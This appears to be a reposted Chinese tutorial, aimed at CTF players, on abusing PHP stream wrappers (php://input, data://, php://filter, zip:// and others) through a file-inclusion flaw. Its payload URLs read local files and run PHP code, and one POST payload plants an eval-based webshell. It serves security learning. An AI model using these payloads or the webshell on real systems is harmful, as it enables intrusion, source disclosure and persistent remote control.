php伪协议实现命令执行详情

吾爱主题 阅读:157 2022-11-10 16:14:00 评论:0

1.file://协议

条件:

?
1 2 allow_url_fopen : off/on allow_url_include: off/on

作用:

用于访问本地文件系统,在ctf中通常用来读取本地文件

include() / require() / include_once() / require_once() 参数可控的情况下,即使导入非.php文件,如shell.txt ,依然按照php语法进行解析,这是include()函数所决定的

说明:

file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。

用法:

?
1 2 3 4 5 6 7 /path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\path\to\winfile.ext \\smbserver\share\path\to\winfile.ext file: ///path/to/file.ext

示例:

1.file://[文件的绝对路径和文件名]

?
1 http: //127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[文件的相对路径和文件名]

?
1 http: //127.0.0.1/include.php?file=./phpinfo.txt

3.http://网络位置和文件名

?
1 http: //127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.php://协议

条件:

?
1 2 allow_url_open : off/on allow_url_include: 仅 php: //input  php://stdin php://memory php://temp 需要on

作用:

php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input

?
1 2 php: //filter 用于读取源码 php: //input 用于执行php代码

说明:

php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符:

php://filter使用:

?
1 php: //filter/read=convert.base64-encode/resource=[文件名]

php://input的使用:

?
1 http: //127.0.0.1/include.php?file=php://input
?
1 2   [POST DATA部分] <?php phpinfo(); ?>

写入一句话

?
1 2 3 http: //127.0.0.1/include.php?file=php://input [POST DATA部分] <?php fputs ( fopen ( '1juhua.php' , 'w' ), '<?php @eval($_GET[cmd]); ?>' ); ?>

3.data://协议

作用:

php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码

用法:

?
1 data: //text/plain, ???

如:

?
1 http: //127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

4.zip:// & bzip:// & zlib:// 协议

作用:

zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等

示例:

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)

压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

?
1 http: //127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)

?
1 http: //127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)

?
1 http: //127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

总结

在ctf中常用的有data:// , php://input , php://filter ,file://

?
1 2 3 4 5 6 7 8 9 10 11 12 13 php: //input ,data://用来执行命令 1.php: //input 的用法 http: //127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?> 2.data: //用法 http: //127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> php: //filter,file://用来读取文件 3.php: //filter用法 http: //127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来) http: //127.0.0.1/include.php?file=php://filter/resource=/flag 4.file: //用法 http: //127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

到此这篇关于php伪协议实现命令执行详情的文章就介绍到这了,更多相关php命令执行内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!

原文链接:https://blog.csdn.net/qq_44418229/article/details/125197168

可以去百度分享获取分享代码输入这里。
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

【腾讯云】云服务器产品特惠热卖中
搜索
标签列表
    关注我们

    了解等多精彩内容